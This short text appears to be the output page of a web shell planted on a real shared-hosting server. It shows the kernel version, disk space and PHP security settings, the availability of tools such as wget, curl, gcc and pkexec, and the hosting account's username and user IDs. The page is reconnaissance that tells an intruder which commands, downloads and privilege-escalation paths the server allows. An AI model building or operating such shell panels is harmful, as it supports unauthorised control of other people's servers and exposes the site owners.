System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.51 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830